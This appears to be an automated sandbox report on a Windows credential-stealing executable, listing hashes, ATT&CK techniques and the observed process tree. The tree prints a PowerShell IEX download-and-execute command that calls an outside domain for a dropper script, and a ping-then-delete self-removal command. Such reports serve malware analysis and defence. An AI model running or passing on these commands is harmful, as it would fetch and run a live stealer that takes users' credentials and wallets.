c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf

General

Target

c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf.exe
Size

247KB
MD5

f17afa21e88b7a362db5ae8fdfa43de9
SHA1

14b024dfe1f9aa6eb88bc7e2215e4877c92cc01e
SHA256

c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf
SHA512

efbdcd1c0fb91cb15de2935ed500fb0f9a8b3ef1491e9823850e97451348cd3a170bc0ad3c84086438508f7280f100a33ff8299a7de64093129b2d7ea83b8e0d
SSDEEP

3072:98iTSP3d1hp5xnAs03vx54qylRs8crPGjl5mS3qI79TPJvLCw8DSmfNKgAiNNrc4:90zl37r79h2DSm1SgAOmhzN+

Score

10^/10

spyware stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://aszfiltration.com/storage/files/debug2.ps1

Signatures

Blocklisted process makes network request 3 IoCs

Processes:

powershell.exe

flow pid process

7 656 powershell.exe
8 656 powershell.exe
11 656 powershell.exe
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

3692 PING.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

656 powershell.exe
656 powershell.exe
656 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 656 powershell.exe

flow	pid	process
7	656	powershell.exe
8	656	powershell.exe
11	656	powershell.exe

pid	process
3692	PING.EXE

pid	process
656	powershell.exe
656	powershell.exe
656	powershell.exe

description	pid	process
Token: SeDebugPrivilege	656	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf.execmd.execmd.exe

description	pid	process	target process
PID 392 wrote to memory of 3340	392	c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf.exe	cmd.exe
PID 392 wrote to memory of 3340	392	c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf.exe	cmd.exe
PID 3340 wrote to memory of 656	3340	cmd.exe	powershell.exe
PID 3340 wrote to memory of 656	3340	cmd.exe	powershell.exe
PID 392 wrote to memory of 200	392	c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf.exe	cmd.exe
PID 392 wrote to memory of 200	392	c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf.exe	cmd.exe
PID 392 wrote to memory of 200	392	c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf.exe	cmd.exe
PID 200 wrote to memory of 3692	200	cmd.exe	PING.EXE
PID 200 wrote to memory of 3692	200	cmd.exe	PING.EXE
PID 200 wrote to memory of 3692	200	cmd.exe	PING.EXE

C:\Users\Admin\AppData\Local\Temp\c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf.exe
"C:\Users\Admin\AppData\Local\Temp\c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:392

C:\Windows\System32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://aszfiltration.com/storage/files/debug2.ps1')"
2⤵
- Suspicious use of WriteProcessMemory
PID:3340

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command IEX(New-Object Net.Webclient).DownloadString('https://aszfiltration.com/storage/files/debug2.ps1')
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:656

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf.exe" >> NUL
2⤵
- Suspicious use of WriteProcessMemory
PID:200

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1
3⤵
- Runs ping.exe
PID:3692

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

2

T1552

Credentials In Files

2

T1552.001

Discovery

System Information Discovery

1

T1082

Remote System Discovery

1

T1018

Lateral Movement

Collection

Data from Local System

2

T1005

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_acbup1dj.sdu.ps1
Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
memory/656-4-0x000002BE5E720000-0x000002BE5E742000-memory.dmp

Filesize
136KB

Download
memory/656-5-0x00007FF8EDC60000-0x00007FF8EE64C000-memory.dmp

Filesize
9.9MB

Download
memory/656-6-0x000002BE76A30000-0x000002BE76A40000-memory.dmp

Filesize
64KB

Download
memory/656-7-0x000002BE76A30000-0x000002BE76A40000-memory.dmp

Filesize
64KB

Download
memory/656-10-0x000002BE76BC0000-0x000002BE76C36000-memory.dmp

Filesize
472KB

Download
memory/656-32-0x000002BE76A30000-0x000002BE76A40000-memory.dmp

Filesize
64KB

Download
memory/656-39-0x000002BE769F0000-0x000002BE76A04000-memory.dmp

Filesize
80KB

Download
memory/656-40-0x000002BE76A00000-0x000002BE76A1C000-memory.dmp

Filesize
112KB

Download
memory/656-41-0x000002BE76C40000-0x000002BE76C90000-memory.dmp

Filesize
320KB

Download
memory/656-215-0x00007FF8EDC60000-0x00007FF8EE64C000-memory.dmp

Filesize
9.9MB

Download

Analysis

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